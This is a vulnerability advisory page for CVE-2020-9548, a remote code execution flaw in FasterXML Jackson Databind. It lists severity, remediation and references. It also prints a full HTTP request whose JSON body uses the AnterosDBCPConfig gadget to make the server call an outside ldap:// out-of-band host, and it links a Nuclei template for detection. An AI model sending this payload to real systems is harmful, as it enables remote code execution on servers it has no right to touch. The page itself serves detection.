🔙 목록으로 돌아가기

CVE-2020-9548: FasterXML Jackson Databind <=2.9.10.4 - Remote Code Execution

TitleFasterXML Jackson Databind <=2.9.10.4 - Remote Code Execution
Authortomaquet18
SeverityCritical
ImpactRemote attackers can execute arbitrary code during deserialization, potentially leading to full system compromise.
RemediationUpdate to version 2.9.10.4 or later.
CVSS Score9.8
EPSS Score0.62015
CVE IDCVE-2020-9548
CWE IDCWE-502
Tags cve cve2020 jackson fasterxml rce vkev vuln

🔍 Vulnerability Description

FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 139
Content-Type: application/json
Accept-Encoding: gzip

[

  "br.com.anteros.dbcp.AnterosDBCPConfig",

  {

    "healthCheckRegistry": "ldap://d5jp4uple0o4hm1s1sm0is18xaf3jbhcd.oast.site"

  }

]

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-9548.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-9548.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A